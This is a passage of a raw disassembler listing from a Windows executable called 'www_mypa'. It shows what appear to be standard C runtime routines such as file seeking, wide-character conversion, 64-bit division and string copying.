6A 00 PUSH 0 004080A7 56 PUSH ESI 004080A8 E8 C3CCFFFF CALL www_mypa.00404D70 004080AD 83C4 0C ADD ESP,0C 004080B0 83F8 FF CMP EAX,-1 004080B3 75 14 JNZ SHORT www_mypa.004080C9 004080B5 56 PUSH ESI 004080B6 E8 05B7FFFF CALL www_mypa.004037C0 004080BB 83C4 04 ADD ESP,4 004080BE 83C8 FF OR EAX,FFFFFFFF 004080C1 5F POP EDI 004080C2 5E POP ESI 004080C3 5D POP EBP 004080C4 5B POP EBX 004080C5 83C4 14 ADD ESP,14 004080C8 C3 RETN 004080C9 8A4424 28 MOV AL,BYTE PTR SS:[ESP+28] 004080CD 84C0 TEST AL,AL 004080CF 75 16 JNZ SHORT www_mypa.004080E7 004080D1 F64424 2C 08 TEST BYTE PTR SS:[ESP+2C],8 004080D6 74 0F JE SHORT www_mypa.004080E7 004080D8 8B0B MOV ECX,DWORD PTR DS:[EBX] 004080DA 8D440F 04 LEA EAX,DWORD PTR DS:[EDI+ECX+4] 004080DE 8A4C0F 04 MOV CL,BYTE PTR DS:[EDI+ECX+4] 004080E2 80C9 20 OR CL,20 004080E5 8808 MOV BYTE PTR DS:[EAX],CL 004080E7 8BC6 MOV EAX,ESI 004080E9 5F POP EDI 004080EA 5E POP ESI 004080EB 5D POP EBP 004080EC 5B POP EBX 004080ED 83C4 14 ADD ESP,14 004080F0 C3 RETN 004080F1 8935 EC064100 MOV DWORD PTR DS:[4106EC],ESI 004080F7 5F POP EDI 004080F8 5E POP ESI 004080F9 5D POP EBP 004080FA C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00408104 83C8 FF OR EAX,FFFFFFFF 00408107 5B POP EBX 00408108 83C4 14 ADD ESP,14 0040810B C3 RETN 0040810C 3F AAS 0040810D 7E 40 JLE SHORT www_mypa.0040814F 0040810F 0043 7E ADD BYTE PTR DS:[EBX+7E],AL 00408112 40 INC EAX 00408113 004A 7E ADD BYTE PTR DS:[EDX+7E],CL 00408116 40 INC EAX 00408117 0051 7E ADD BYTE PTR DS:[ECX+7E],DL 0040811A 40 INC EAX 0040811B 00F1 ADD CL,DH 0040811D 8040 00 00 ADD BYTE PTR DS:[EAX],0 00408121 04 04 ADD AL,4 00408123 04 04 ADD AL,4 00408125 04 04 ADD AL,4 00408127 04 04 ADD AL,4 00408129 04 04 ADD AL,4 0040812B 04 04 ADD AL,4 0040812D 04 04 ADD AL,4 0040812F 04 01 ADD AL,1 00408131 04 04 ADD AL,4 00408133 04 04 ADD AL,4 00408135 04 04 ADD AL,4 00408137 04 04 ADD AL,4 00408139 04 04 ADD AL,4 0040813B 04 04 ADD AL,4 0040813D 04 04 ADD AL,4 0040813F 04 02 ADD AL,2 00408141 04 04 ADD AL,4 00408143 04 04 ADD AL,4 00408145 04 04 ADD AL,4 00408147 04 04 ADD AL,4 00408149 04 04 ADD AL,4 0040814B 04 04 ADD AL,4 0040814D 04 04 ADD AL,4 0040814F 04 03 ADD AL,3 00408151 90 NOP 00408152 90 NOP 00408153 90 NOP 00408154 90 NOP 00408155 90 NOP 00408156 90 NOP 00408157 90 NOP 00408158 90 NOP 00408159 90 NOP 0040815A 90 NOP 0040815B 90 NOP 0040815C 90 NOP 0040815D 90 NOP 0040815E 90 NOP 0040815F 90 NOP 00408160 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00408164 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 0040816A 83EC 08 SUB ESP,8 0040816D 3BC1 CMP EAX,ECX 0040816F 56 PUSH ESI 00408170 57 PUSH EDI 00408171 0F83 B4000000 JNB www_mypa.0040822B 00408177 8BC8 MOV ECX,EAX 00408179 8BF0 MOV ESI,EAX 0040817B C1F9 05 SAR ECX,5 0040817E 83E6 1F AND ESI,1F 00408181 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00408188 8D3C8D E01A4100 LEA EDI,DWORD PTR DS:[ECX*4+411AE0] 0040818F C1E6 03 SHL ESI,3 00408192 F64432 04 01 TEST BYTE PTR DS:[EDX+ESI+4],1 00408197 0F84 8E000000 JE www_mypa.0040822B 0040819D 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 004081A1 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 004081A5 50 PUSH EAX 004081A6 894C24 0C MOV DWORD PTR SS:[ESP+C],ECX 004081AA 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 004081AE E8 CDF9FFFF CALL www_mypa.00407B80 004081B3 83C4 04 ADD ESP,4 004081B6 83F8 FF CMP EAX,-1 004081B9 75 15 JNZ SHORT www_mypa.004081D0 004081BB 0BC0 OR EAX,EAX 004081BD C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 004081C7 83CA FF OR EDX,FFFFFFFF 004081CA 5F POP EDI 004081CB 5E POP ESI 004081CC 83C4 08 ADD ESP,8 004081CF C3 RETN 004081D0 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 004081D4 8D5424 0C LEA EDX,DWORD PTR SS:[ESP+C] 004081D8 51 PUSH ECX 004081D9 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 004081DD 52 PUSH EDX 004081DE 51 PUSH ECX 004081DF 50 PUSH EAX 004081E0 FF15 48224100 CALL DWORD PTR DS:[412248] ; kernel32.SetFilePointer 004081E6 83F8 FF CMP EAX,-1 004081E9 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 004081ED 75 1F JNZ SHORT www_mypa.0040820E 004081EF FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 004081F5 85C0 TEST EAX,EAX 004081F7 74 15 JE SHORT www_mypa.0040820E 004081F9 50 PUSH EAX 004081FA E8 D1E1FFFF CALL www_mypa.004063D0 004081FF 83C4 04 ADD ESP,4 00408202 83C8 FF OR EAX,FFFFFFFF 00408205 83CA FF OR EDX,FFFFFFFF 00408208 5F POP EDI 00408209 5E POP ESI 0040820A 83C4 08 ADD ESP,8 0040820D C3 RETN 0040820E 8B17 MOV EDX,DWORD PTR DS:[EDI] 00408210 8A4C32 04 MOV CL,BYTE PTR DS:[EDX+ESI+4] 00408214 8D4432 04 LEA EAX,DWORD PTR DS:[EDX+ESI+4] 00408218 80E1 FD AND CL,0FD 0040821B 8808 MOV BYTE PTR DS:[EAX],CL 0040821D 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00408221 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 00408225 5F POP EDI 00408226 5E POP ESI 00408227 83C4 08 ADD ESP,8 0040822A C3 RETN 0040822B 83C8 FF OR EAX,FFFFFFFF 0040822E 5F POP EDI 0040822F C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00408239 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00408243 83CA FF OR EDX,FFFFFFFF 00408246 5E POP ESI 00408247 83C4 08 ADD ESP,8 0040824A C3 RETN 0040824B 90 NOP 0040824C 90 NOP 0040824D 90 NOP 0040824E 90 NOP 0040824F 90 NOP 00408250 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00408254 85C0 TEST EAX,EAX 00408256 75 01 JNZ SHORT www_mypa.00408259 00408258 C3 RETN 00408259 8B0D 880A4100 MOV ECX,DWORD PTR DS:[410A88] 0040825F 85C9 TEST ECX,ECX 00408261 75 14 JNZ SHORT www_mypa.00408277 00408263 66:8B4C24 08 MOV CX,WORD PTR SS:[ESP+8] 00408268 66:81F9 FF00 CMP CX,0FF 0040826D 77 44 JA SHORT www_mypa.004082B3 0040826F 8808 MOV BYTE PTR DS:[EAX],CL 00408271 B8 01000000 MOV EAX,1 00408276 C3 RETN 00408277 8B15 5CF54000 MOV EDX,DWORD PTR DS:[40F55C] 0040827D 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4] 00408281 51 PUSH ECX 00408282 8B0D 980A4100 MOV ECX,DWORD PTR DS:[410A98] 00408288 6A 00 PUSH 0 0040828A 52 PUSH EDX 0040828B 50 PUSH EAX 0040828C 8D4424 18 LEA EAX,DWORD PTR SS:[ESP+18] 00408290 6A 01 PUSH 1 00408292 50 PUSH EAX 00408293 68 20020000 PUSH 220 00408298 51 PUSH ECX 00408299 C74424 24 000000>MOV DWORD PTR SS:[ESP+24],0 004082A1 FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 004082A7 85C0 TEST EAX,EAX 004082A9 74 08 JE SHORT www_mypa.004082B3 004082AB 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 004082AF 85C9 TEST ECX,ECX 004082B1 74 0D JE SHORT www_mypa.004082C0 004082B3 C705 E8064100 2A>MOV DWORD PTR DS:[4106E8],2A 004082BD 83C8 FF OR EAX,FFFFFFFF 004082C0 C3 RETN 004082C1 90 NOP 004082C2 90 NOP 004082C3 90 NOP 004082C4 90 NOP 004082C5 90 NOP 004082C6 90 NOP 004082C7 90 NOP 004082C8 90 NOP 004082C9 90 NOP 004082CA 90 NOP 004082CB 90 NOP 004082CC 90 NOP 004082CD 90 NOP 004082CE 90 NOP 004082CF 90 NOP 004082D0 53 PUSH EBX 004082D1 56 PUSH ESI 004082D2 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 004082D6 0BC0 OR EAX,EAX 004082D8 75 18 JNZ SHORT www_mypa.004082F2 004082DA 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 004082DE 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004082E2 33D2 XOR EDX,EDX 004082E4 F7F1 DIV ECX 004082E6 8BD8 MOV EBX,EAX 004082E8 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 004082EC F7F1 DIV ECX 004082EE 8BD3 MOV EDX,EBX 004082F0 EB 41 JMP SHORT www_mypa.00408333 004082F2 8BC8 MOV ECX,EAX 004082F4 8B5C24 14 MOV EBX,DWORD PTR SS:[ESP+14] 004082F8 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 004082FC 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 00408300 D1E9 SHR ECX,1 00408302 D1DB RCR EBX,1 00408304 D1EA SHR EDX,1 00408306 D1D8 RCR EAX,1 00408308 0BC9 OR ECX,ECX 0040830A ^75 F4 JNZ SHORT www_mypa.00408300 0040830C F7F3 DIV EBX 0040830E 8BF0 MOV ESI,EAX 00408310 F76424 18 MUL DWORD PTR SS:[ESP+18] 00408314 8BC8 MOV ECX,EAX 00408316 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 0040831A F7E6 MUL ESI 0040831C 03D1 ADD EDX,ECX 0040831E 72 0E JB SHORT www_mypa.0040832E 00408320 3B5424 10 CMP EDX,DWORD PTR SS:[ESP+10] 00408324 77 08 JA SHORT www_mypa.0040832E 00408326 72 07 JB SHORT www_mypa.0040832F 00408328 3B4424 0C CMP EAX,DWORD PTR SS:[ESP+C] 0040832C 76 01 JBE SHORT www_mypa.0040832F 0040832E 4E DEC ESI 0040832F 33D2 XOR EDX,EDX 00408331 8BC6 MOV EAX,ESI 00408333 5E POP ESI 00408334 5B POP EBX 00408335 C2 1000 RETN 10 00408338 CC INT3 00408339 CC INT3 0040833A CC INT3 0040833B CC INT3 0040833C CC INT3 0040833D CC INT3 0040833E CC INT3 0040833F CC INT3 00408340 53 PUSH EBX 00408341 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00408345 0BC0 OR EAX,EAX 00408347 75 18 JNZ SHORT www_mypa.00408361 00408349 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 0040834D 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C] 00408351 33D2 XOR EDX,EDX 00408353 F7F1 DIV ECX 00408355 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00408359 F7F1 DIV ECX 0040835B 8BC2 MOV EAX,EDX 0040835D 33D2 XOR EDX,EDX 0040835F EB 50 JMP SHORT www_mypa.004083B1 00408361 8BC8 MOV ECX,EAX 00408363 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 00408367 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C] 0040836B 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 0040836F D1E9 SHR ECX,1 00408371 D1DB RCR EBX,1 00408373 D1EA SHR EDX,1 00408375 D1D8 RCR EAX,1 00408377 0BC9 OR ECX,ECX 00408379 ^75 F4 JNZ SHORT www_mypa.0040836F 0040837B F7F3 DIV EBX 0040837D 8BC8 MOV ECX,EAX 0040837F F76424 14 MUL DWORD PTR SS:[ESP+14] 00408383 91 XCHG EAX,ECX 00408384 F76424 10 MUL DWORD PTR SS:[ESP+10] 00408388 03D1 ADD EDX,ECX 0040838A 72 0E JB SHORT www_mypa.0040839A 0040838C 3B5424 0C CMP EDX,DWORD PTR SS:[ESP+C] 00408390 77 08 JA SHORT www_mypa.0040839A 00408392 72 0E JB SHORT www_mypa.004083A2 00408394 3B4424 08 CMP EAX,DWORD PTR SS:[ESP+8] 00408398 76 08 JBE SHORT www_mypa.004083A2 0040839A 2B4424 10 SUB EAX,DWORD PTR SS:[ESP+10] 0040839E 1B5424 14 SBB EDX,DWORD PTR SS:[ESP+14] 004083A2 2B4424 08 SUB EAX,DWORD PTR SS:[ESP+8] 004083A6 1B5424 0C SBB EDX,DWORD PTR SS:[ESP+C] 004083AA F7DA NEG EDX 004083AC F7D8 NEG EAX 004083AE 83DA 00 SBB EDX,0 004083B1 5B POP EBX 004083B2 C2 1000 RETN 10 004083B5 CC INT3 004083B6 CC INT3 004083B7 CC INT3 004083B8 CC INT3 004083B9 CC INT3 004083BA CC INT3 004083BB CC INT3 004083BC CC INT3 004083BD CC INT3 004083BE CC INT3 004083BF CC INT3 004083C0 53 PUSH EBX 004083C1 55 PUSH EBP 004083C2 56 PUSH ESI 004083C3 57 PUSH EDI 004083C4 8B7C24 14 MOV EDI,DWORD PTR SS:[ESP+14] 004083C8 833D 5CF54000 01 CMP DWORD PTR DS:[40F55C],1 004083CF 7E 11 JLE SHORT www_mypa.004083E2 004083D1 33C0 XOR EAX,EAX 004083D3 6A 08 PUSH 8 004083D5 8A07 MOV AL,BYTE PTR DS:[EDI] 004083D7 50 PUSH EAX 004083D8 E8 A3090000 CALL www_mypa.00408D80 004083DD 83C4 08 ADD ESP,8 004083E0 EB 10 JMP SHORT www_mypa.004083F2 004083E2 8B15 E0F24000 MOV EDX,DWORD PTR DS:[40F2E0] ; www_mypa.0040F2EA 004083E8 33C9 XOR ECX,ECX 004083EA 8A0F MOV CL,BYTE PTR DS:[EDI] 004083EC 8A044A MOV AL,BYTE PTR DS:[EDX+ECX*2] 004083EF 83E0 08 AND EAX,8 004083F2 85C0 TEST EAX,EAX 004083F4 74 03 JE SHORT www_mypa.004083F9 004083F6 47 INC EDI 004083F7 ^EB CF JMP SHORT www_mypa.004083C8 004083F9 33C0 XOR EAX,EAX 004083FB 8A07 MOV AL,BYTE PTR DS:[EDI] 004083FD 47 INC EDI 004083FE 8BF0 MOV ESI,EAX 00408400 83FE 2D CMP ESI,2D 00408403 8BEE MOV EBP,ESI 00408405 74 05 JE SHORT www_mypa.0040840C 00408407 83FE 2B CMP ESI,2B 0040840A 75 07 JNZ SHORT www_mypa.00408413 0040840C 33C9 XOR ECX,ECX 0040840E 8A0F MOV CL,BYTE PTR DS:[EDI] 00408410 47 INC EDI 00408411 8BF1 MOV ESI,ECX 00408413 33DB XOR EBX,EBX 00408415 833D 5CF54000 01 CMP DWORD PTR DS:[40F55C],1 0040841C 7E 0D JLE SHORT www_mypa.0040842B 0040841E 6A 04 PUSH 4 00408420 56 PUSH ESI 00408421 E8 5A090000 CALL www_mypa.00408D80 00408426 83C4 08 ADD ESP,8 00408429 EB 0C JMP SHORT www_mypa.00408437 0040842B 8B15 E0F24000 MOV EDX,DWORD PTR DS:[40F2E0] ; www_mypa.0040F2EA 00408431 8A0472 MOV AL,BYTE PTR DS:[EDX+ESI*2] 00408434 83E0 04 AND EAX,4 00408437 85C0 TEST EAX,EAX 00408439 74 10 JE SHORT www_mypa.0040844B 0040843B 8D049B LEA EAX,DWORD PTR DS:[EBX+EBX*4] 0040843E 33C9 XOR ECX,ECX 00408440 8A0F MOV CL,BYTE PTR DS:[EDI] 00408442 47 INC EDI 00408443 8D5C46 D0 LEA EBX,DWORD PTR DS:[ESI+EAX*2-30] 00408447 8BF1 MOV ESI,ECX 00408449 ^EB CA JMP SHORT www_mypa.00408415 0040844B 83FD 2D CMP EBP,2D 0040844E 8BC3 MOV EAX,EBX 00408450 75 02 JNZ SHORT www_mypa.00408454 00408452 F7D8 NEG EAX 00408454 5F POP EDI 00408455 5E POP ESI 00408456 5D POP EBP 00408457 5B POP EBX 00408458 C3 RETN 00408459 90 NOP 0040845A 90 NOP 0040845B 90 NOP 0040845C 90 NOP 0040845D 90 NOP 0040845E 90 NOP 0040845F 90 NOP 00408460 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 00408464 57 PUSH EDI 00408465 85C9 TEST ECX,ECX 00408467 74 7A JE SHORT www_mypa.004084E3 00408469 56 PUSH ESI 0040846A 53 PUSH EBX 0040846B 8BD9 MOV EBX,ECX 0040846D 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 00408471 F7C6 03000000 TEST ESI,3 00408477 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10] 0040847B 75 07 JNZ SHORT www_mypa.00408484 0040847D C1E9 02 SHR ECX,2 00408480 75 6F JNZ SHORT www_mypa.004084F1 00408482 EB 21 JMP SHORT www_mypa.004084A5 00408484 8A06 MOV AL,BYTE PTR DS:[ESI] 00408486 46 INC ESI 00408487 8807 MOV BYTE PTR DS:[EDI],AL 00408489 47 INC EDI 0040848A 49 DEC ECX 0040848B 74 25 JE SHORT www_mypa.004084B2 0040848D 84C0 TEST AL,AL 0040848F 74 29 JE SHORT www_mypa.004084BA 00408491 F7C6 03000000 TEST ESI,3 00408497 ^75 EB JNZ SHORT www_mypa.00408484 00408499 8BD9 MOV EBX,ECX 0040849B C1E9 02 SHR ECX,2 0040849E 75 51 JNZ SHORT www_mypa.004084F1 004084A0 83E3 03 AND EBX,3 004084A3 74 0D JE SHORT www_mypa.004084B2 004084A5 8A06 MOV AL,BYTE PTR DS:[ESI] 004084A7 46 INC ESI 004084A8 8807 MOV BYTE PTR DS:[EDI],AL 004084AA 47 INC EDI 004084AB 84C0 TEST AL,AL 004084AD 74 2F JE SHORT www_mypa.004084DE 004084AF 4B DEC EBX 004084B0 ^75 F3 JNZ SHORT www_mypa.004084A5 004084B2 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004084B6 5B POP EBX 004084B7 5E POP ESI 004084B8 5F POP EDI 004084B9 C3 RETN 004084BA F7C7 03000000 TEST EDI,3 004084C0 74 12 JE SHORT www_mypa.004084D4 004084C2 8807 MOV BYTE PTR DS:[EDI],AL 004084C4 47 INC EDI 004084C5 49 DEC ECX 004084C6 0F84 8A000000 JE www_mypa.00408556 004084CC F7C7 03000000 TEST EDI,3 004084D2 ^75 EE JNZ SHORT www_mypa.004084C2 004084D4 8BD9 MOV EBX,ECX 004084D6 C1E9 02 SHR ECX,2 004084D9 75 6C JNZ SHORT www_mypa.00408547 004084DB 8807 MOV BYTE PTR DS:[EDI],AL 004084DD 47 INC EDI 004084DE 4B DEC EBX 004084DF ^75 FA JNZ SHORT www_mypa.004084DB 004084E1 5B POP EBX 004084E2 5E POP ESI 004084E3 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 004084E7 5F POP EDI 004084E8 C3 RETN 004084E9 8917 MOV DWORD PTR DS:[EDI],EDX 004084EB 83C7 04 ADD EDI,4 004084EE 49 DEC ECX 004084EF ^74 AF JE SHORT www_mypa.004084A0 004084F1 BA FFFEFE7E MOV EDX,7EFEFEFF 004084F6 8B06 MOV EAX,DWORD PTR DS:[ESI] 004084F8 03D0 ADD EDX,EAX 004084FA 83F0 FF XOR EAX,FFFFFFFF 004084FD 33C2 XOR EAX,EDX 004084FF 8B16 MOV EDX,DWORD PTR DS:[ESI] 00408501 83C6 04 ADD ESI,4 00408504 A9 00010181 TEST EAX,81010100 00408509 ^74 DE JE SHORT www_mypa.004084E9 0040850B 84D2 TEST DL,DL 0040850D 74 2C JE SHORT www_mypa.0040853B 0040850F 84F6 TEST DH,DH 00408511 74 1E JE SHORT www_mypa.00408531 00408513 F7C2 0000FF00 TEST EDX,0FF0000 00408519 74 0C JE SHORT www_mypa.00408527 0040851B F7C2 000000FF TEST EDX,FF000000 00408521 ^75 C6 JNZ SHORT www_mypa.004084E9 00408523 8917 MOV DWORD PTR DS:[EDI],EDX 00408525 EB 18 JMP SHORT www_mypa.0040853F 00408527 81E2 FFFF0000 AND EDX,0FFFF 0040852D 8917 MOV DWORD PTR DS:[EDI],EDX 0040852F EB 0E JMP SHORT www_mypa.0040853F 00408531 81E2 FF000000 AND EDX,0FF 00408537 8917 MOV DWORD PTR DS:[EDI],EDX 00408539 EB 04 JMP SHORT www_mypa.0040853F 0040853B 33D2 XOR EDX,EDX 0040853D 8917 MOV DWORD PTR DS:[EDI],EDX 0040853F 83C7 04 ADD EDI,4 00408542 33C0 XOR EAX,EAX 00408544 49 DEC ECX 00408545 74 0A JE SHORT www_mypa.00408551 00408547 33C0 XOR EAX,EAX 00408549 8907 MOV DWORD PTR DS:[EDI],EAX 0040854B 83C7 04 ADD EDI,4 0040854E 49 DEC ECX 0040854F ^75 F8 JNZ SHORT www_mypa.00408549 00408551 83E3 03 AND EBX,3 00408554 ^75 85 JNZ SHORT www_mypa.004084DB 00408556 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040855A 5B POP EBX 0040855B 5E POP ESI 0040855C 5F POP EDI 0040855D C3 RETN 0040855E CC INT3 0040855F CC INT3 00408560 51 PUSH ECX 00408561 53 PUSH EBX 00408562 55 PUSH EBP 00408563 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 00408567 56 PUSH ESI 00408568 57 PUSH EDI 00408569 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 0040856D 33C0 XOR EAX,EAX 0040856F 85FF TEST EDI,EDI 00408571 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00408575 74 0A JE SHORT www_mypa.00408581 00408577 85ED TEST EBP,EBP 00408579 75 06 JNZ SHORT www_mypa.00408581 0040857B 5F POP EDI 0040857C 5E POP ESI 0040857D 5D POP EBP 0040857E 5B POP EBX 0040857F 59 POP ECX 00408580 C3 RETN 00408581 85FF TEST EDI,EDI 00408583 0F84 5B010000 JE www_mypa.004086E4 00408589 8B0D 880A4100 MOV ECX,DWORD PTR DS:[410A88] 0040858F 85C9 TEST ECX,ECX 00408591 75 37 JNZ SHORT www_mypa.004085CA 00408593 85ED TEST EBP,EBP 00408595 0F86 A8010000 JBE www_mypa.00408743 0040859B 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C] 0040859F 66:8139 FF00 CMP WORD PTR DS:[ECX],0FF 004085A4 0F87 8C010000 JA www_mypa.00408736 004085AA 8A11 MOV DL,BYTE PTR DS:[ECX] 004085AC 83C1 02 ADD ECX,2 004085AF 881438 MOV BYTE PTR DS:[EAX+EDI],DL 004085B2 66:8B51 FE MOV DX,WORD PTR DS:[ECX-2] 004085B6 66:85D2 TEST DX,DX 004085B9 0F84 84010000 JE www_mypa.00408743 004085BF 40 INC EAX 004085C0 3BC5 CMP EAX,EBP 004085C2 ^72 DB JB SHORT www_mypa.0040859F 004085C4 5F POP EDI 004085C5 5E POP ESI 004085C6 5D POP EBP 004085C7 5B POP EBX 004085C8 59 POP ECX 004085C9 C3 RETN 004085CA 833D 5CF54000 01 CMP DWORD PTR DS:[40F55C],1 004085D1 75 58 JNZ SHORT www_mypa.0040862B 004085D3 8B7424 1C MOV ESI,DWORD PTR SS:[ESP+1C] 004085D7 85ED TEST EBP,EBP 004085D9 76 0C JBE SHORT www_mypa.004085E7 004085DB 55 PUSH EBP 004085DC 56 PUSH ESI 004085DD E8 6E010000 CALL www_mypa.00408750 004085E2 83C4 08 ADD ESP,8 004085E5 8BE8 MOV EBP,EAX 004085E7 8B0D 980A4100 MOV ECX,DWORD PTR DS:[410A98] 004085ED 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] 004085F1 50 PUSH EAX 004085F2 6A 00 PUSH 0 004085F4 55 PUSH EBP 004085F5 57 PUSH EDI 004085F6 55 PUSH EBP 004085F7 56 PUSH ESI 004085F8 68 20020000 PUSH 220 004085FD 51 PUSH ECX 004085FE FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 00408604 85C0 TEST EAX,EAX 00408606 0F84 2A010000 JE www_mypa.00408736 0040860C 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 00408610 85C9 TEST ECX,ECX 00408612 0F85 1E010000 JNZ www_mypa.00408736 00408618 8A4C38 FF MOV CL,BYTE PTR DS:[EAX+EDI-1] 0040861C 84C9 TEST CL,CL 0040861E 0F85 1F010000 JNZ www_mypa.00408743 00408624 48 DEC EAX 00408625 5F POP EDI 00408626 5E POP ESI 00408627 5D POP EBP 00408628 5B POP EBX 00408629 59 POP ECX 0040862A C3 RETN 0040862B 8B5C24 1C MOV EBX,DWORD PTR SS:[ESP+1C] 0040862F A1 980A4100 MOV EAX,DWORD PTR DS:[410A98] 00408634 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] 00408638 52 PUSH EDX 00408639 6A 00 PUSH 0 0040863B 55 PUSH EBP 0040863C 57 PUSH EDI 0040863D 6A FF PUSH -1 0040863F 53 PUSH EBX 00408640 68 20020000 PUSH 220 00408645 50 PUSH EAX 00408646 FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 0040864C 8BF0 MOV ESI,EAX 0040864E 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00408652 85F6 TEST ESI,ESI 00408654 74 11 JE SHORT www_mypa.00408667 00408656 85C0 TEST EAX,EAX 00408658 0F85 D8000000 JNZ www_mypa.00408736 0040865E 8D46 FF LEA EAX,DWORD PTR DS:[ESI-1] 00408661 5F POP EDI 00408662 5E POP ESI 00408663 5D POP EBP 00408664 5B POP EBX 00408665 59 POP ECX 00408666 C3 RETN 00408667 85C0 TEST EAX,EAX 00408669 0F85 C7000000 JNZ www_mypa.00408736 0040866F FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00408675 83F8 7A CMP EAX,7A 00408678 0F85 B8000000 JNZ www_mypa.00408736 0040867E 3BF5 CMP ESI,EBP 00408680 73 5A JNB SHORT www_mypa.004086DC 00408682 8B15 5CF54000 MOV EDX,DWORD PTR DS:[40F55C] 00408688 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] 0040868C 51 PUSH ECX 0040868D 8B0D 980A4100 MOV ECX,DWORD PTR DS:[410A98] 00408693 6A 00 PUSH 0 00408695 8D4424 24 LEA EAX,DWORD PTR SS:[ESP+24] 00408699 52 PUSH EDX 0040869A 50 PUSH EAX 0040869B 6A 01 PUSH 1 0040869D 53 PUSH EBX 0040869E 6A 00 PUSH 0 004086A0 51 PUSH ECX 004086A1 FF15 24224100 CALL DWORD PTR DS:[412224] ; kernel32.WideCharToMultiByte 004086A7 85C0 TEST EAX,EAX 004086A9 0F84 87000000 JE www_mypa.00408736 004086AF 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 004086B3 85C9 TEST ECX,ECX 004086B5 75 7F JNZ SHORT www_mypa.00408736 004086B7 8D1430 LEA EDX,DWORD PTR DS:[EAX+ESI] 004086BA 3BD5 CMP EDX,EBP 004086BC 77 1E JA SHORT www_mypa.004086DC 004086BE 33D2 XOR EDX,EDX 004086C0 85C0 TEST EAX,EAX 004086C2 7E 11 JLE SHORT www_mypa.004086D5 004086C4 8A4C14 1C MOV CL,BYTE PTR SS:[ESP+EDX+1C] 004086C8 84C9 TEST CL,CL 004086CA 880C3E MOV BYTE PTR DS:[ESI+EDI],CL 004086CD 74 0D JE SHORT www_mypa.004086DC 004086CF 42 INC EDX 004086D0 46 INC ESI 004086D1 3BD0 CMP EDX,EAX 004086D3 ^7C EF JL SHORT www_mypa.004086C4 004086D5 83C3 02 ADD EBX,2 004086D8 3BF5 CMP ESI,EBP 004086DA ^72 A6 JB SHORT www_mypa.00408682 004086DC 8BC6 MOV EAX,ESI 004086DE 5F POP EDI 004086DF 5E PO